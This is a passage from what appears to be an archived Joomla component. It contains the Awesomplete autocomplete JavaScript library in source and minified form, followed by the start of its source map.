$.bind(this.input.form, this._events.form); $.bind(this.ul, this._events.ul); if (this.input.hasAttribute("list")) { this.list = "#" + this.input.getAttribute("list"); this.input.removeAttribute("list"); } else { this.list = this.input.getAttribute("data-list") || o.list || []; } _.all.push(this); }; _.prototype = { set list(list) { if (Array.isArray(list)) { this._list = list; } else if (typeof list === "string" && list.indexOf(",") > -1) { this._list = list.split(/\s*,\s*/); } else { // Element or CSS selector list = $(list); if (list && list.children) { var items = []; slice.apply(list.children).forEach(function (el) { if (!el.disabled) { var text = el.textContent.trim(); var value = el.value || text; var label = el.label || text; if (value !== "") { items.push({ label: label, value: value }); } } }); this._list = items; } } if (document.activeElement === this.input) { this.evaluate(); } }, get selected() { return this.index > -1; }, get opened() { return this.isOpened; }, close: function (o) { if (!this.opened) { return; } this.input.setAttribute("aria-expanded", "false"); this.ul.setAttribute("hidden", ""); this.isOpened = false; this.index = -1; this.status.setAttribute("hidden", ""); $.fire(this.input, "awesomplete-close", o || {}); }, open: function () { this.input.setAttribute("aria-expanded", "true"); this.ul.removeAttribute("hidden"); this.isOpened = true; this.status.removeAttribute("hidden"); if (this.autoFirst && this.index === -1) { this.goto(0); } $.fire(this.input, "awesomplete-open"); }, destroy: function() { //remove events from the input and its form $.unbind(this.input, this._events.input); $.unbind(this.input.form, this._events.form); // cleanup container if it was created by Awesomplete but leave it alone otherwise if (!this.options.container) { //move the input out of the awesomplete container and remove the container and its children var parentNode = this.container.parentNode; parentNode.insertBefore(this.input, this.container); parentNode.removeChild(this.container); } //remove autocomplete and aria-autocomplete attributes this.input.removeAttribute("autocomplete"); this.input.removeAttribute("aria-autocomplete"); //remove this awesomeplete instance from the global array of instances var indexOfAwesomplete = _.all.indexOf(this); if (indexOfAwesomplete !== -1) { _.all.splice(indexOfAwesomplete, 1); } }, next: function () { var count = this.ul.children.length; this.goto(this.index < count - 1 ? this.index + 1 : (count ? 0 : -1) ); }, previous: function () { var count = this.ul.children.length; var pos = this.index - 1; this.goto(this.selected && pos !== -1 ? pos : count - 1); }, // Should not be used, highlights specific item without any checks! goto: function (i) { var lis = this.ul.children; if (this.selected) { lis[this.index].setAttribute("aria-selected", "false"); } this.index = i; if (i > -1 && lis.length > 0) { lis[i].setAttribute("aria-selected", "true"); this.status.textContent = lis[i].textContent + ", list item " + (i + 1) + " of " + lis.length; this.input.setAttribute("aria-activedescendant", this.ul.id + "_item_" + this.index); // scroll to highlighted element in case parent's height is fixed this.ul.scrollTop = lis[i].offsetTop - this.ul.clientHeight + lis[i].clientHeight; $.fire(this.input, "awesomplete-highlight", { text: this.suggestions[this.index] }); } }, select: function (selected, origin, originalEvent) { if (selected) { this.index = $.siblingIndex(selected); } else { selected = this.ul.children[this.index]; } if (selected) { var suggestion = this.suggestions[this.index]; var allowed = $.fire(this.input, "awesomplete-select", { text: suggestion, origin: origin || selected, originalEvent: originalEvent }); if (allowed) { this.replace(suggestion); this.close({ reason: "select" }); $.fire(this.input, "awesomplete-selectcomplete", { text: suggestion, originalEvent: originalEvent }); } } }, evaluate: function() { var me = this; var value = this.input.value; if (value.length >= this.minChars && this._list && this._list.length > 0) { this.index = -1; // Populate list with options that match this.ul.innerHTML = ""; this.suggestions = this._list .map(function(item) { return new Suggestion(me.data(item, value)); }) .filter(function(item) { return me.filter(item, value); }); if (this.sort !== false) { this.suggestions = this.suggestions.sort(this.sort); } this.suggestions = this.suggestions.slice(0, this.maxItems); this.suggestions.forEach(function(text, index) { me.ul.appendChild(me.item(text, value, index)); }); if (this.ul.children.length === 0) { this.status.textContent = "No results found"; this.close({ reason: "nomatches" }); } else { this.open(); this.status.textContent = this.ul.children.length + " results found"; } } else { this.close({ reason: "nomatches" }); this.status.textContent = "No results found"; } } }; // Static methods/properties _.all = []; _.FILTER_CONTAINS = function (text, input) { return RegExp($.regExpEscape(input.trim()), "i").test(text); }; _.FILTER_STARTSWITH = function (text, input) { return RegExp("^" + $.regExpEscape(input.trim()), "i").test(text); }; _.SORT_BYLENGTH = function (a, b) { if (a.length !== b.length) { return a.length - b.length; } return a < b? -1 : 1; }; _.CONTAINER = function (input) { return $.create("div", { className: "awesomplete", around: input }); } _.ITEM = function (text, input, item_id) { var html = input.trim() === "" ? text : text.replace(RegExp($.regExpEscape(input.trim()), "gi"), "<mark>$&</mark>"); return $.create("li", { innerHTML: html, "role": "option", "aria-selected": "false", "id": "awesomplete_list_" + this.count + "_item_" + item_id }); }; _.REPLACE = function (text) { this.input.value = text.value; }; _.DATA = function (item/*, input*/) { return item; }; // Private functions function Suggestion(data) { var o = Array.isArray(data) ? { label: data[0], value: data[1] } : typeof data === "object" && "label" in data && "value" in data ? data : { label: data, value: data }; this.label = o.label || o.value; this.value = o.value; } Object.defineProperty(Suggestion.prototype = Object.create(String.prototype), "length", { get: function() { return this.label.length; } }); Suggestion.prototype.toString = Suggestion.prototype.valueOf = function () { return "" + this.label; }; function configure(instance, properties, o) { for (var i in properties) { var initial = properties[i], attrValue = instance.input.getAttribute("data-" + i.toLowerCase()); if (typeof initial === "number") { instance[i] = parseInt(attrValue); } else if (initial === false) { // Boolean options must be false by default anyway instance[i] = attrValue !== null; } else if (initial instanceof Function) { instance[i] = null; } else { instance[i] = attrValue; } if (!instance[i] && instance[i] !== 0) { instance[i] = (i in o)? o[i] : initial; } } } // Helpers var slice = Array.prototype.slice; function $(expr, con) { return typeof expr === "string"? (con || document).querySelector(expr) : expr || null; } function $$(expr, con) { return slice.call((con || document).querySelectorAll(expr)); } $.create = function(tag, o) { var element = document.createElement(tag); for (var i in o) { var val = o[i]; if (i === "inside") { $(val).appendChild(element); } else if (i === "around") { var ref = $(val); ref.parentNode.insertBefore(element, ref); element.appendChild(ref); if (ref.getAttribute("autofocus") != null) { ref.focus(); } } else if (i in element) { element[i] = val; } else { element.setAttribute(i, val); } } return element; }; $.bind = function(element, o) { if (element) { for (var event in o) { var callback = o[event]; event.split(/\s+/).forEach(function (event) { element.addEventListener(event, callback); }); } } }; $.unbind = function(element, o) { if (element) { for (var event in o) { var callback = o[event]; event.split(/\s+/).forEach(function(event) { element.removeEventListener(event, callback); }); } } }; $.fire = function(target, type, properties) { var evt = document.createEvent("HTMLEvents"); evt.initEvent(type, true, true ); for (var j in properties) { evt[j] = properties[j]; } return target.dispatchEvent(evt); }; $.regExpEscape = function (s) { return s.replace(/[-\\^$*+?.()|[\]{}]/g, "\\$&"); }; $.siblingIndex = function (el) { /* eslint-disable no-cond-assign */ for (var i = 0; el = el.previousElementSibling; i++); return i; }; // Initialization function init() { $$("input.awesomplete").forEach(function (input) { new _(input); }); } // Make sure to export Awesomplete on self when in a browser if (typeof self !== "undefined") { self.Awesomplete = _; } // Are we in a browser? Check for Document constructor if (typeof Document !== "undefined") { // DOM already loaded? if (document.readyState !== "loading") { init(); } else { // Wait for it document.addEventListener("DOMContentLoaded", init); } } _.$ = $; _.$$ = $$; // Expose Awesomplete as a CJS module if (typeof module === "object" && module.exports) { module.exports = _; } return _; }()); com_finder/assets/awesomplete/js/awesomplete.min.js 0000604 00000016470 15166657147 0016607 0 ustar 00 // Awesomplete - Lea Verou - MIT license !function(){function t(t){var e=Array.isArray(t)?{label:t[0],value:t[1]}:"object"==typeof t&&"label"in t&&"value"in t?t:{label:t,value:t};this.label=e.label||e.value,this.value=e.value}function e(t,e,i){for(var n in e){var s=e[n],r=t.input.getAttribute("data-"+n.toLowerCase());"number"==typeof s?t[n]=parseInt(r):!1===s?t[n]=null!==r:s instanceof Function?t[n]=null:t[n]=r,t[n]||0===t[n]||(t[n]=n in i?i[n]:s)}}function i(t,e){return"string"==typeof t?(e||document).querySelector(t):t||null}function n(t,e){return o.call((e||document).querySelectorAll(t))}function s(){n("input.awesomplete").forEach(function(t){new r(t)})}var r=function(t,n){var s=this;r.count=(r.count||0)+1,this.count=r.count,this.isOpened=!1,this.input=i(t),this.input.setAttribute("autocomplete","off"),this.input.setAttribute("aria-expanded","false"),this.input.setAttribute("aria-owns","awesomplete_list_"+this.count),this.input.setAttribute("role","combobox"),this.options=n=n||{},e(this,{minChars:2,maxItems:10,autoFirst:!1,data:r.DATA,filter:r.FILTER_CONTAINS,sort:!1!==n.sort&&r.SORT_BYLENGTH,container:r.CONTAINER,item:r.ITEM,replace:r.REPLACE,tabSelect:!1},n),this.index=-1,this.container=this.container(t),this.ul=i.create("ul",{hidden:"hidden",role:"listbox",id:"awesomplete_list_"+this.count,inside:this.container}),this.status=i.create("span",{className:"visually-hidden",role:"status","aria-live":"assertive","aria-atomic":!0,inside:this.container,textContent:0!=this.minChars?"Type "+this.minChars+" or more characters for results.":"Begin typing for results."}),this._events={input:{input:this.evaluate.bind(this),blur:this.close.bind(this,{reason:"blur"}),keydown:function(t){var e=t.keyCode;s.opened&&(13===e&&s.selected?(t.preventDefault(),s.select()):9===e&&s.selected&&s.tabSelect?s.select():27===e?s.close({reason:"esc"}):38!==e&&40!==e||(t.preventDefault(),s[38===e?"previous":"next"]()))}},form:{submit:this.close.bind(this,{reason:"submit"})},ul:{mousedown:function(t){t.preventDefault()},click:function(t){var e=t.target;if(e!==this){for(;e&&!/li/i.test(e.nodeName);)e=e.parentNode;e&&0===t.button&&(t.preventDefault(),s.select(e,t.target))}}}},i.bind(this.input,this._events.input),i.bind(this.input.form,this._events.form),i.bind(this.ul,this._events.ul),this.input.hasAttribute("list")?(this.list="#"+this.input.getAttribute("list"),this.input.removeAttribute("list")):this.list=this.input.getAttribute("data-list")||n.list||[],r.all.push(this)};r.prototype={set list(t){if(Array.isArray(t))this._list=t;else if("string"==typeof t&&t.indexOf(",")>-1)this._list=t.split(/\s*,\s*/);else if((t=i(t))&&t.children){var e=[];o.apply(t.children).forEach(function(t){if(!t.disabled){var i=t.textContent.trim(),n=t.value||i,s=t.label||i;""!==n&&e.push({label:s,value:n})}}),this._list=e}document.activeElement===this.input&&this.evaluate()},get selected(){return this.index>-1},get opened(){return this.isOpened},close:function(t){this.opened&&(this.input.setAttribute("aria-expanded","false"),this.ul.setAttribute("hidden",""),this.isOpened=!1,this.index=-1,this.status.setAttribute("hidden",""),i.fire(this.input,"awesomplete-close",t||{}))},open:function(){this.input.setAttribute("aria-expanded","true"),this.ul.removeAttribute("hidden"),this.isOpened=!0,this.status.removeAttribute("hidden"),this.autoFirst&&-1===this.index&&this.goto(0),i.fire(this.input,"awesomplete-open")},destroy:function(){if(i.unbind(this.input,this._events.input),i.unbind(this.input.form,this._events.form),!this.options.container){var t=this.container.parentNode;t.insertBefore(this.input,this.container),t.removeChild(this.container)}this.input.removeAttribute("autocomplete"),this.input.removeAttribute("aria-autocomplete");var e=r.all.indexOf(this);-1!==e&&r.all.splice(e,1)},next:function(){var t=this.ul.children.length;this.goto(this.index<t-1?this.index+1:t?0:-1)},previous:function(){var t=this.ul.children.length,e=this.index-1;this.goto(this.selected&&-1!==e?e:t-1)},goto:function(t){var e=this.ul.children;this.selected&&e[this.index].setAttribute("aria-selected","false"),this.index=t,t>-1&&e.length>0&&(e[t].setAttribute("aria-selected","true"),this.status.textContent=e[t].textContent+", list item "+(t+1)+" of "+e.length,this.input.setAttribute("aria-activedescendant",this.ul.id+"_item_"+this.index),this.ul.scrollTop=e[t].offsetTop-this.ul.clientHeight+e[t].clientHeight,i.fire(this.input,"awesomplete-highlight",{text:this.suggestions[this.index]}))},select:function(t,e){if(t?this.index=i.siblingIndex(t):t=this.ul.children[this.index],t){var n=this.suggestions[this.index];i.fire(this.input,"awesomplete-select",{text:n,origin:e||t})&&(this.replace(n),this.close({reason:"select"}),i.fire(this.input,"awesomplete-selectcomplete",{text:n}))}},evaluate:function(){var e=this,i=this.input.value;i.length>=this.minChars&&this._list&&this._list.length>0?(this.index=-1,this.ul.innerHTML="",this.suggestions=this._list.map(function(n){return new t(e.data(n,i))}).filter(function(t){return e.filter(t,i)}),!1!==this.sort&&(this.suggestions=this.suggestions.sort(this.sort)),this.suggestions=this.suggestions.slice(0,this.maxItems),this.suggestions.forEach(function(t,n){e.ul.appendChild(e.item(t,i,n))}),0===this.ul.children.length?(this.status.textContent="No results found",this.close({reason:"nomatches"})):(this.open(),this.status.textContent=this.ul.children.length+" results found")):(this.close({reason:"nomatches"}),this.status.textContent="No results found")}},r.all=[],r.FILTER_CONTAINS=function(t,e){return RegExp(i.regExpEscape(e.trim()),"i").test(t)},r.FILTER_STARTSWITH=function(t,e){return RegExp("^"+i.regExpEscape(e.trim()),"i").test(t)},r.SORT_BYLENGTH=function(t,e){return t.length!==e.length?t.length-e.length:t<e?-1:1},r.CONTAINER=function(t){return i.create("div",{className:"awesomplete",around:t})},r.ITEM=function(t,e,n){return i.create("li",{innerHTML:""===e.trim()?t:t.replace(RegExp(i.regExpEscape(e.trim()),"gi"),"<mark>$&</mark>"),role:"option","aria-selected":"false",id:"awesomplete_list_"+this.count+"_item_"+n})},r.REPLACE=function(t){this.input.value=t.value},r.DATA=function(t){return t},Object.defineProperty(t.prototype=Object.create(String.prototype),"length",{get:function(){return this.label.length}}),t.prototype.toString=t.prototype.valueOf=function(){return""+this.label};var o=Array.prototype.slice;i.create=function(t,e){var n=document.createElement(t);for(var s in e){var r=e[s];if("inside"===s)i(r).appendChild(n);else if("around"===s){var o=i(r);o.parentNode.insertBefore(n,o),n.appendChild(o),null!=o.getAttribute("autofocus")&&o.focus()}else s in n?n[s]=r:n.setAttribute(s,r)}return n},i.bind=function(t,e){if(t)for(var i in e){var n=e[i];i.split(/\s+/).forEach(function(e){t.addEventListener(e,n)})}},i.unbind=function(t,e){if(t)for(var i in e){var n=e[i];i.split(/\s+/).forEach(function(e){t.removeEventListener(e,n)})}},i.fire=function(t,e,i){var n=document.createEvent("HTMLEvents");n.initEvent(e,!0,!0);for(var s in i)n[s]=i[s];return t.dispatchEvent(n)},i.regExpEscape=function(t){return t.replace(/[-\\^$*+?.()|[\]{}]/g,"\\$&")},i.siblingIndex=function(t){for(var e=0;t=t.previousElementSibling;e++);return e},"undefined"!=typeof self&&(self.Awesomplete=r),"undefined"!=typeof Document&&("loading"!==document.readyState?s():document.addEventListener("DOMContentLoaded",s)),r.$=i,r.$$=n,"object"==typeof module&&module.exports&&(module.exports=r)}(); //# sourceMappingURL=awesomplete.min.js.map com_finder/assets/awesomplete/js/awesomplete.min.js.map 0000604 00000057275 15166657147 0017373 0 ustar 00 {"version":3,"sources":["awesomplete.js"],"names":["Suggestion","data","o","Array","isArray","label","value","this","configure","instance","properties","i","initial","attrValue","input","getAttribute","toLowerCase","parseInt","Function","$","expr","con","document","querySelector","$$","slice","call","querySelectorAll","init","forEach","_","me","count","isOpened","setAttribute","options","minChars","maxItems","autoFirst","DATA","filter","FILTER_CONTAINS","sort","SORT_BYLENGTH","container","CONTAINER","item","ITEM","replace","REPLACE","tabSelect","index","ul","create","hidden","role","id","inside","status","className","aria-live","aria-atomic","textContent","_events","evaluate","bind","blur","close","reason","keydown","evt","c","keyCode","opened","selected","preventDefault","select","form","submit","mousedown","click","li","target","test","nodeName","parentNode","button","hasAttribute","list","removeAttribute","all","push","prototype","_list","indexOf","split","children","items","apply","el","disabled","text","trim","activeElement","fire","open","goto","destroy","unbind","insertBefore","removeChild","indexOfAwesomplete","splice","next","length","previous","pos","lis","scrollTop","offsetTop","clientHeight","suggestions","origin","siblingIndex","suggestion","innerHTML","map","appendChild","RegExp","regExpEscape","FILTER_STARTSWITH","a","b","around","item_id","aria-selected","Object","defineProperty","String","get","toString","valueOf","tag","element","createElement","val","ref","focus","event","callback","addEventListener","removeEventListener","type","createEvent","initEvent","j","dispatchEvent","s","previousElementSibling","self","Awesomplete","Document","readyState","module","exports"],"mappings":"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